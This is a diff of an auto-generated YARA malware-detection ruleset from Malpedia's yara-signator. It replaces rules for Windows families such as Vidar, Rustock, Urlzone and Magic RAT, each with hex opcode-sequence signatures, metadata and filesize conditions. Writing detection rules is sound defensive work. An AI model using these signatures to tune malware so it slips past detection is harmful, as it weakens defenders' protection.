+		$sequence_11 = { 682c010000 50 ffd3 3d02010000 7508 }
+		$sequence_12 = { 6a00 6a02 6a03 6a00 e8???????? }
+		$sequence_13 = { 75f6 eb2f 8b542430 8b7c2414 8b6c2430 }
+		$sequence_14 = { 668b3c59 730d 33c9 8a0a }
+		$sequence_15 = { 59 8b0485e0d50010 8d0cf6 8064880400 85ff }
+		$sequence_16 = { 0311 8955fc 837df800 0f86e3000000 8b4508 03450c 2b45f8 }
+		$sequence_17 = { 68???????? 8d4610 50 8d4c2418 51 ff15???????? }
+		$sequence_18 = { 896f2c 8b4748 3bc5 740c 50 }
+		$sequence_19 = { 8d4c240c c644243002 ff15???????? 8bc6 }
+		$sequence_20 = { 6a00 8bd8 51 57 53 }
+		$sequence_21 = { 8b4c242c 5f 89411c 8b442410 895118 8b542434 894124 }
+		$sequence_22 = { 33c4 50 8d442428 64a300000000 8bf1 89742408 68???????? }
+		$sequence_23 = { 8939 89742410 e9???????? 33f6 83ff14 }
+		$sequence_24 = { 0fb74e08 0fafcf 5f 03c1 5e }
+		$sequence_25 = { 031481 52 8b450c 50 }
+		$sequence_26 = { 5d 83c410 c3 8b4508 85c0 7499 }
+		$sequence_27 = { 2bc5 c1ef05 2bcf 2bf5 66898c5a98010000 33c9 }
+		$sequence_28 = { 64a300000000 8b7c2444 8bf1 33db 57 8d4e10 89742414 }
+		$sequence_29 = { 8b742408 57 85f6 742e 0fb74602 8b7c2410 3bf8 }
+		$sequence_30 = { 8b5c2424 3bcb 0f83f6040000 33db }
 
 	condition:
-		7 of them and filesize <1347904
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Cargobay_Auto : FILE
+rule MALPEDIA_Win_Gaudox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "73c95842-79c7-50a5-be49-1d9ec0676b5e"
+		id = "1eecaa5e-0125-509a-9dab-e8ce2f4b63fe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cargobay"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cargobay_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gaudox_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "6881c841016fbba7262559cf71fef612762f65200b77d9ecbf913cbcf1cd6281"
+		logic_hash = "7eb2982f230b20ae36bb88377d3dc0b3ae4c2623263daca498d5416d3995e6aa"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147947,32 +154923,32 @@ rule MALPEDIA_Win_Cargobay_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 4c8b4910 31c0 4c01ca 7216 48395108 7210 }
-		$sequence_1 = { 80bc24b100000000 0f84e2020000 8a8c24b2000000 0fb6d1 83fa2c 743e b800000000 }
-		$sequence_2 = { e8???????? eb56 488db42498010000 41b8b8000000 4889f1 4c89fa e8???????? }
-		$sequence_3 = { c6040800 48ffc1 ebf2 488b4748 41b801000000 4889f9 4c89e2 }
-		$sequence_4 = { eb04 48832300 4889f1 4c89f2 4883c448 5b 5d }
-		$sequence_5 = { e8???????? 0f0b 56 57 4881ec18040000 4889ce 488d7c2428 }
-		$sequence_6 = { ba05000000 e8???????? e9???????? 488d0dddfe0d00 ba09000000 e8???????? 4889c3 }
-		$sequence_7 = { c5fa6f8729020000 c4e27d470d???????? c4e27d4505???????? c5fd6f15???????? c4e26d36c0 c5fdebc1 c5fddb05???????? }
-		$sequence_8 = { 4d896608 488d8c2488000000 488919 48897108 48898424b0000000 4889bc24b8000000 4d8937 }
-		$sequence_9 = { ba08000000 41b908000000 e8???????? 4881c600020000 4889f1 4c89f2 e8???????? }
+		$sequence_0 = { 7403 c60000 8bce e8???????? 8b45f8 85c0 7410 }
+		$sequence_1 = { 837df000 0f849a000000 6a00 8d95c4feffff 52 b804000000 6bc800 }
+		$sequence_2 = { 8d8c2458030000 e8???????? 8bf0 85f6 0f88df000000 a1???????? 8d8c2450030000 }
+		$sequence_3 = { a1???????? 57 ffb0b8000000 eb26 8bb8b0000000 83ff54 }
+		$sequence_4 = { 13c9 66f3ab 8b450c 03f0 8bc6 5f 5e }
+		$sequence_5 = { 56 8b7014 81feb8000000 7729 68???????? b9???????? e8???????? }
+		$sequence_6 = { ff75fc 8bf0 6a08 6a00 e8???????? 85f6 782a }
+		$sequence_7 = { 8b45f4 8b5018 85d2 74ec 6a00 6a00 68d113282e }
+		$sequence_8 = { 57 85c0 0f84ad010000 85d2 0f84a5010000 8b7d08 85ff }
+		$sequence_9 = { 8d442460 50 6a27 6a00 e8???????? 85c0 781c }
 
 	condition:
-		7 of them and filesize <3432448
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Chairsmack_Auto : FILE
+rule MALPEDIA_Win_Cmsbrute_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "89ef8364-1d04-5ec8-8eb0-0caa1f808e4e"
+		id = "8f79cbd4-e913-5f2c-8c88-b934c5aa8f71"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chairsmack_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cmsbrute_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "30e742a004c4313020160ca17f15835b780b5f554d2c7d95b7655ea180005855"
+		logic_hash = "9b2fd3bf8cbe0036d7312658e08a3f69e7f5e49973eb02bc9f177311ac61fa60"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147986,32 +154962,32 @@ rule MALPEDIA_Win_Chairsmack_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8c2410010000 c68424840300003a e8???????? 83ec1c 8d842428010000 8bcc 8964242c }
-		$sequence_1 = { 8d4de8 56 c745fc01000000 e8???????? 8b7df0 8d4de8 2b7e08 }
-		$sequence_2 = { 8d4c2464 e8???????? e9???????? 68???????? 8d8c24bc000000 e8???????? 8bd0 }
-		$sequence_3 = { 8b4004 eb03 83c004 51 50 ffb4249c000000 51 }
-		$sequence_4 = { 660f57c4 8b7c2414 8d442421 c644242025 8b5714 f6c220 7409 }
-		$sequence_5 = { 7613 b8feffff7f 8d3419 2bc1 3bd8 7605 befeffff7f }
-		$sequence_6 = { 8d8db8fcffff e9???????? 8d8dd0fdffff e9???????? 8d8dbcfcffff e9???????? 8d8dc0fdffff }
-		$sequence_7 = { c68424b8030000b9 8bcc 68???????? e8???????? c68424b8030000b6 e8???????? 83c430 }
-		$sequence_8 = { 8b148dd06d4a00 81c200080000 3955e4 7366 8b45e4 c6400400 8b4de4 }
-		$sequence_9 = { 0fbe02 85c0 0f848e010000 8b4dfc 51 }
+		$sequence_0 = { ff7004 51 ff7510 8b4d08 ff750c 56 e8???????? }
+		$sequence_1 = { e8???????? ff4de0 8bde 75e4 8b75d8 832700 6a00 }
+		$sequence_2 = { ffb068010000 ff15???????? 8b06 83a06801000000 8b442418 59 59 }
+		$sequence_3 = { eb0f e8???????? 59 50 8d75b4 e8???????? 59 }
+		$sequence_4 = { eb02 8b01 3945fc 0f8d8a000000 8b45fc e8???????? 8bf0 }
+		$sequence_5 = { ff75c4 8b4dcc ff75d4 8bd8 0fb7463e 50 53 }
+		$sequence_6 = { eb02 33ff 8bb59cfdffff 51 e8???????? 59 85ff }
+		$sequence_7 = { ff75e4 57 e8???????? 83c414 85c0 7425 8bf7 }
+		$sequence_8 = { ff742430 e8???????? 89442430 8b4304 8378041b 8b30 8b7808 }
+		$sequence_9 = { ff15???????? 8945cc 8b35???????? 83cfff 3bdf 7403 53 }
 
 	condition:
-		7 of them and filesize <1974272
+		7 of them and filesize <5275648
 }
-rule MALPEDIA_Win_Atmosphere_Auto : FILE
+rule MALPEDIA_Win_Arefty_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7ba90f14-d41a-58f9-948d-cf574aec7198"
+		id = "290417d3-5ee5-5229-8624-fd994b33b5b6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atmosphere_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.arefty_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "0264599b5475822be219779f2f93298a08919e3b2fbd551146e8b50c69fa19e9"
+		logic_hash = "f5f9e554cdcd0132916bd1281d9476767533aa9af2658a9193107a622555119f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148025,34 +155001,34 @@ rule MALPEDIA_Win_Atmosphere_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83ec14 56 8b7104 85f6 }
-		$sequence_1 = { 88460e 33c0 894612 894616 89461a 884e1e }
-		$sequence_2 = { e8???????? 8b4604 85c0 7504 33f6 eb08 }
-		$sequence_3 = { 8bcf ff5338 5f 5e }
-		$sequence_4 = { c645fc02 8bcc 8965e8 50 51 e8???????? }
-		$sequence_5 = { 8bce 8975e8 8806 ff15???????? }
-		$sequence_6 = { 8bc4 89642410 50 e8???????? }
-		$sequence_7 = { 8b7c240c 8bf1 57 ff15???????? 8b470c }
-		$sequence_8 = { 51 83ec10 8bc4 89642410 50 e8???????? }
-		$sequence_9 = { 8bcc 8965e8 50 51 }
+		$sequence_0 = { 57 e8???????? 83c404 83fbff 7407 53 }
+		$sequence_1 = { 50 53 ff15???????? 680000a000 e8???????? }
+		$sequence_2 = { 680000a000 57 53 ff15???????? 85c0 }
+		$sequence_3 = { 680000a000 57 53 ff15???????? }
+		$sequence_4 = { 57 e8???????? 83c404 83fbff 7407 53 ff15???????? }
+		$sequence_5 = { ff15???????? 680000a000 e8???????? 8bf8 }
+		$sequence_6 = { 0fb6041e 50 8b07 68???????? 6a03 8d04b0 }
+		$sequence_7 = { 8b07 68???????? 6a03 8d04b0 50 e8???????? 46 }
+		$sequence_8 = { 50 53 ff15???????? 680000a000 e8???????? 8bf8 83c404 }
+		$sequence_9 = { 50 53 ff15???????? 680000a000 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <237568
 }
-rule MALPEDIA_Win_Vidar_Auto : FILE
+rule MALPEDIA_Win_Magic_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "82d78950-07cb-574b-bd37-68a5c755b922"
+		id = "fef12775-f5d4-5648-9916-cb915f91f28b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vidar_auto.yar#L1-L344"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.magic_rat_auto.yar#L1-L111"
 		license_url = "N/A"
-		logic_hash = "a393071c5079ff4f7beb96e2467045a96573fe4c259d05f0ce07fde763d7466d"
-		score = 75
-		quality = 73
+		logic_hash = "d23de63f3611a6306ebe3970ddd7285c351120d5c12dbd45ba2d1d594ef068a3"
+		score = 60
+		quality = 45
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -148064,60 +155040,32 @@ rule MALPEDIA_Win_Vidar_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 25ff7f0000 c3 e8???????? 8b486c 3b0d???????? 7410 }
-		$sequence_1 = { 05c39e2600 894114 c1e810 25ff7f0000 c3 e8???????? }
-		$sequence_2 = { 8d8d68fdffff 51 50 ff15???????? }
-		$sequence_3 = { 7202 8b00 8d8d68fdffff 51 }
-		$sequence_4 = { 740a b800000500 e9???????? 57 }
-		$sequence_5 = { 56 8b742408 8b865caf0100 57 }
-		$sequence_6 = { 895dd0 c746140f000000 895e10 8975cc }
-		$sequence_7 = { 8b8648af0100 c1e803 038644af0100 5e 5d c3 }
-		$sequence_8 = { 895dfc e8???????? 83781408 c645fc01 }
-		$sequence_9 = { 8b7508 33ff 89b55cfdffff 89bd60fdffff }
-		$sequence_10 = { 5f c6043300 8bc6 5e 5b c20400 }
-		$sequence_11 = { 50 ff15???????? 8b4da0 8901 85c0 }
-		$sequence_12 = { 83781410 7202 8b00 50 8b45a0 }
-		$sequence_13 = { eb02 33c0 5f 5e c9 c3 6a04 }
-		$sequence_14 = { 5e c20400 ff742408 e8???????? 59 83f8ff 7503 }
-		$sequence_15 = { c9 c3 8b542408 85d2 7503 }
-		$sequence_16 = { 0fb605???????? 50 0fb605???????? 50 0fb605???????? 50 6a01 }
-		$sequence_17 = { 53 50 899e6caf0600 e8???????? }
-		$sequence_18 = { 53 68???????? 8d8da8000000 e8???????? }
-		$sequence_19 = { c3 55 8bec 83ec0c 8365fc00 8365f400 8365f800 }
-		$sequence_20 = { c20400 56 8bf1 e8???????? 6a00 ff74240c 8bce }
-		$sequence_21 = { 0faf450c 50 e8???????? 59 }
-		$sequence_22 = { 8b4508 8906 8b450c 894608 }
-		$sequence_23 = { 8b4120 8910 8b4130 8910 c3 56 }
-		$sequence_24 = { e8???????? c9 c3 55 8bec 83ec18 8b450c }
-		$sequence_25 = { 8d852cffffff 50 8d459c 50 }
-		$sequence_26 = { 6860ea0000 6a00 ff15???????? 50 }
-		$sequence_27 = { 50 ff15???????? 6a1a e8???????? }
-		$sequence_28 = { 5f c21000 8bff 55 8bec 6a0a }
-		$sequence_29 = { e8???????? 83c410 85c0 7404 6a99 ebcc }
-		$sequence_30 = { 7410 84c0 7406 3ac8 7c14 }
-		$sequence_31 = { 7408 ff36 e8???????? 59 834e04ff 8b06 }
-		$sequence_32 = { e8???????? 83c408 84c0 740e 68???????? }
-		$sequence_33 = { 6a0b 6a10 e8???????? 83c41c 8be5 }
-		$sequence_34 = { eb0b 8b45f4 0500040000 8945f4 }
-		$sequence_35 = { 83ec08 dd4508 dd1c24 6a0b 6a08 }
-		$sequence_36 = { 8bc6 8b35???????? 99 2bc2 }
-		$sequence_37 = { 8bc6 5f 5e 5d 5b 81c460010000 c3 }
+		$sequence_0 = { 85c0 7407 3dffff0000 756f }
+		$sequence_1 = { f20f2ac9 f20f5cc1 f20f58c3 f20f2cc0 }
+		$sequence_2 = { 0f84b8000000 83faff 7408 f0830001 }
+		$sequence_3 = { 660f2ec2 7308 660f5705???????? 660f2ee2 f20f59c5 7308 660f5725???????? }
+		$sequence_4 = { 29c2 89d0 c1f80e f7d8 eb08 }
+		$sequence_5 = { 8b01 81e20080ffff 25ff7f0000 09d0 }
+		$sequence_6 = { 8b4500 85c0 0f8472010000 83f8ff 740b f0836d0001 }
+		$sequence_7 = { f20f58c3 f20f2cd0 01ca e9???????? }
+		$sequence_8 = { 85d2 740b 83faff 74ad f0832801 }
+		$sequence_9 = { 81fa???????? 7442 81fa???????? 744a }
 
 	condition:
-		7 of them and filesize <2793472
+		7 of them and filesize <41843712
 }
-rule MALPEDIA_Win_Downdelph_Auto : FILE
+rule MALPEDIA_Win_Rustock_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9652ab66-5cde-50a7-9cf0-943c75b27c39"
+		id = "cb44bdc8-a730-56ac-98ad-0553c4475f0d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.downdelph_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rustock_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "800e73805e0adaa63996d81ee2c529d701882055ee15e51dd88ba5a4c6bc228a"
+		logic_hash = "5fff7e7d2c26e2013c1d3a65535e3ac75dc9cd45cc7a0c04309e438d2a86951e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148131,32 +155079,32 @@ rule MALPEDIA_Win_Downdelph_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c9 0f84d2feffff 53 56 57 89c3 }
-		$sequence_1 = { 83c4f8 8bf2 33d2 8bdc }
-		$sequence_2 = { e8???????? 48 50 8bc3 b901000000 8b15???????? }
-		$sequence_3 = { 8d55d8 e8???????? 8b5708 88041a }
-		$sequence_4 = { 53 56 33db 899de0fbffff }
-		$sequence_5 = { 0f8cd6020000 46 33ff 8b15???????? 8bc7 e8???????? }
-		$sequence_6 = { 8b45fc e8???????? 50 8b45f0 }
-		$sequence_7 = { 2bd3 2bd7 8bfa 85ff 7d02 33ff }
-		$sequence_8 = { 68???????? 64ff32 648922 6a00 6800000080 }
-		$sequence_9 = { ff05???????? 7544 b8???????? e8???????? b8???????? }
+		$sequence_0 = { 8d6424fc 892c24 31ed 01e5 8d6424e4 50 }
+		$sequence_1 = { 031d???????? 21db 5e 5a }
+		$sequence_2 = { 8bd8 85db 7439 8b4dc0 33c0 8bfb 8bd1 }
+		$sequence_3 = { 83c604 56 53 ff15???????? 53 }
+		$sequence_4 = { 833d????????00 7421 56 e8???????? 85c0 59 75ac }
+		$sequence_5 = { 50 ff7520 e8???????? 83c418 8945cc 3bc7 74d4 }
+		$sequence_6 = { ff750c e8???????? 68e8030000 ff15???????? e8???????? 8bf8 }
+		$sequence_7 = { 59 8945c4 83f8ff 7507 33c0 e9???????? 3b4520 }
+		$sequence_8 = { ebb5 7402 ebd3 8b1c24 68???????? }
+		$sequence_9 = { 014514 a1???????? 83f802 0f84de010000 3bc7 }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <565248
 }
-rule MALPEDIA_Win_Catb_Auto : FILE
+rule MALPEDIA_Win_Vflooder_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "515d6ff4-29b8-5f9d-8e4d-ae72db2e24b8"
+		id = "9887b2d4-11f9-501f-8a80-a11d525400b9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catb"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.catb_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vflooder_auto.yar#L1-L106"
 		license_url = "N/A"
-		logic_hash = "9a8c29b856252443b361ebb50acc406bc1908e5c4eee2fd3c5627837db3c96fd"
+		logic_hash = "c395df9bf0cea55ef8201fced5f6d58ff4786707da9a8f0c23e3a94a9aa3418e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148170,32 +155118,32 @@ rule MALPEDIA_Win_Catb_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 418bcc e8???????? 85c0 0f8484000000 488b442440 488d0d22920300 }
-		$sequence_1 = { 4c8d050e9c0300 83e23f 488bcb 48c1f906 488d14d2 498b0cc8 8064d138fd }
-		$sequence_2 = { 488d159bdc0000 483950f0 740b 488b10 }
-		$sequence_3 = { 4c8d0da47f0000 b903000000 4c8d05907f0000 488d15f9750000 e8???????? 4885c0 740f }
-		$sequence_4 = { 4533c0 488d0d8e0e0400 baa00f0000 e8???????? 85c0 740a ff05???????? }
-		$sequence_5 = { 4c8d0d6bab0300 4c8bc6 488bd7 488bcb e8???????? }
-		$sequence_6 = { 4c8d0d922affff 4c8b4570 8b5568 488b4d60 }
-		$sequence_7 = { 4053 4883ec20 8bd9 4c8d0d05d00000 }
-		$sequence_8 = { 488d0d72190400 e8???????? 488b442438 488905???????? 488d442438 4883c008 }
-		$sequence_9 = { 488bc3 498784f6803c0400 4885c0 7409 }
+		$sequence_0 = { 60 ff35???????? 8f442438 9c }
+		$sequence_1 = { 3b45f0 60 9c 8d642424 }
+		$sequence_2 = { 9c 60 9c 9c 8d642430 }
+		$sequence_3 = { 9c ff742404 8d642434 e9???????? }
+		$sequence_4 = { e9???????? ff742408 8f4500 60 }
+		$sequence_5 = { 0000 43 7265 61 7465 }
+		$sequence_6 = { f5 83ef04 f5 ff37 }
+		$sequence_7 = { e8???????? 0000 43 7265 }
+		$sequence_8 = { b02e f5 f2ae e8???????? }
+		$sequence_9 = { 9c f2ae 9c 9c }
 
 	condition:
-		7 of them and filesize <593920
+		7 of them and filesize <860160
 }
-rule MALPEDIA_Win_Calmthorn_Auto : FILE
+rule MALPEDIA_Win_Urlzone_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8cbb3f25-515c-5fed-8b4e-4a931d9bfb1a"
+		id = "73713fa1-9237-58d2-8cc2-5acf9c265fc9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.calmthorn_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.urlzone_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "98170ddc8dfcd366956427aafd69264166f05ad426e5dc909d0630e51620ea92"
+		logic_hash = "4cce61429410ef9f511dc19a60899f126670164d7c8bb8ef8edba2014cda32d1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148209,32 +155157,32 @@ rule MALPEDIA_Win_Calmthorn_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c78548adffff00000000 eb0f 8b8548adffff 83c001 898548adffff 8b8d68f9ffff 51 }
-		$sequence_1 = { e8???????? 83c404 3985dcf3ffff 7d20 8b954cfaffff 83c201 89954cfaffff }
-		$sequence_2 = { 0f57c0 660f13857498ffff eb1e 8b957498ffff 83c201 8b857898ffff 83d000 }
-		$sequence_3 = { eb1e 8b85bc86ffff 83c001 8b8dc086ffff 83d100 8985bc86ffff 898dc086ffff }
-		$sequence_4 = { 8b959875ffff 83d200 898d9475ffff 89959875ffff 83bd9875ffff00 7722 720c }
-		$sequence_5 = { ebb7 0fb6952cfdffff 83fa01 7552 c7855cbdffff00000000 eb0f 8b855cbdffff }
-		$sequence_6 = { ebba 0fb68d5efdffff 83f901 7556 0f57c0 660f1385c472ffff eb1e }
-		$sequence_7 = { 8a95b7fdffff 80c201 8895b7fdffff ebbd 0fb6859efdffff 83f801 7552 }
-		$sequence_8 = { 8b8518f8ffff 0fbe08 85c9 7502 eb02 ebba 0fb69591fdffff }
-		$sequence_9 = { eb0f 8b8d34f0ffff 83c101 898d34f0ffff 8b9564f6ffff 52 e8???????? }
+		$sequence_0 = { 7c32 80f839 7f05 80e830 eb22 }
+		$sequence_1 = { 80fc39 7f05 80ec30 eb22 }
+		$sequence_2 = { 7f05 80ec30 eb22 80fc41 7c54 }
+		$sequence_3 = { 80c00a eb10 80f861 7c11 80f866 }
+		$sequence_4 = { 5f 5e c3 57 51 89c7 }
+		$sequence_5 = { 80c40a eb10 80fc61 7c42 80f866 7f3d }
+		$sequence_6 = { 7f0c 80e861 80c00a c0e004 08e0 }
+		$sequence_7 = { 80f841 7c23 80f846 7f08 }
+		$sequence_8 = { 80f839 7f05 80e830 eb22 80f841 7c23 }
+		$sequence_9 = { 80ec30 eb22 80fc41 7c54 }
 
 	condition:
-		7 of them and filesize <2322432
+		7 of them and filesize <704512
 }
-rule MALPEDIA_Win_Rerdom_Auto : FILE
+rule MALPEDIA_Win_Doublefantasy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "26b21d13-90fc-5a47-a822-e7b7af65cf28"
+		id = "fe1fe594-5930-58a6-8152-affb40d52392"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rerdom_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doublefantasy_auto.yar#L1-L176"
 		license_url = "N/A"
-		logic_hash = "f1628ed7c3a0f5463a2b7ad02b3e6deb2af0e74d20f58edaa325cbcbd6ff539b"
+		logic_hash = "c2743e8ba6874f5905b98f01968f640324da6dd46040ee9e2e2dc712fae3b7b1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148248,32 +155196,38 @@ rule MALPEDIA_Win_Rerdom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85f6 7425 8b550c b8???????? e8???????? 3bc7 }
-		$sequence_1 = { 89470c 8b4508 894708 eb1c 33db 53 }
-		$sequence_2 = { 8b44240c 21b0cc000000 21b0d0000000 8bd8 8d842412060000 50 83ceff }
-		$sequence_3 = { e9???????? 83f801 7533 8b4e04 8b97d0000000 8b4608 }
-		$sequence_4 = { e8???????? 53 a3???????? 57 8bc6 e8???????? 5f }
-		$sequence_5 = { 8b742430 8d4618 50 8d4c2428 e8???????? 84c0 741e }
-		$sequence_6 = { 7527 8b4510 85c0 7405 }
-		$sequence_7 = { 3bde 0f84c5000000 8b430c 3bc6 0f84ba000000 897510 8b00 }
-		$sequence_8 = { 8b450c e8???????? 8945e4 85c0 7427 8365fc00 ff750c }
-		$sequence_9 = { 41 66890456 0fb7044b 6685c0 75ec 8bc3 }
+		$sequence_0 = { ff75e0 e8???????? 8945c4 3d05000780 7458 3d09000c80 }
+		$sequence_1 = { 770b 0fb6c0 8a80ad8c2700 eb02 32c0 84c0 7410 }
+		$sequence_2 = { 8a80908c2700 eb02 b03d 884103 c3 55 }
+		$sequence_3 = { 33d2 8a5001 c1ee06 83e20f c1e202 0bd6 8a92908c2700 }
+		$sequence_4 = { ff750c 8b4622 03c6 50 e8???????? 83c40c be???????? }
+		$sequence_5 = { 51 68???????? ff750c 8b1d???????? ffd3 83c420 ff75e0 }
+		$sequence_6 = { 8a92908c2700 885101 7e1c 0fb67002 }
+		$sequence_7 = { ff45f8 3c2b 720f 3c7a 770b 0fb6c0 8a80ad8c2700 }
+		$sequence_8 = { 0bd6 837c241001 8a92908c2700 885101 }
+		$sequence_9 = { 8a92908c2700 eb02 b23d 837c241002 885102 }
+		$sequence_10 = { 85c0 7c6a 8b45e4 8b08 8d954cffffff }
+		$sequence_11 = { e8???????? 8b4605 c68094a3270000 ff35???????? ff35???????? e8???????? 83c414 }
+		$sequence_12 = { a5 a5 a5 66a5 6a3d 59 }
+		$sequence_13 = { 68???????? 68???????? ff15???????? 83c40c 837de000 0f8660010000 }
+		$sequence_14 = { ff750c ff7508 ff15???????? 8945a8 3bc3 752b }
+		$sequence_15 = { 33ff eb06 56 e8???????? }
 
 	condition:
-		7 of them and filesize <352256
+		7 of them and filesize <172032
 }
-rule MALPEDIA_Win_Webc2_Qbp_Auto : FILE
+rule MALPEDIA_Win_Jlorat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b171d237-d33f-5b2c-9bb0-c659a34a40b8"
+		id = "eb5a0545-ab37-5e70-b9eb-6c48eb9adb8a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_qbp_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jlorat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jlorat_auto.yar#L1-L134"
 		license_url = "N/A"
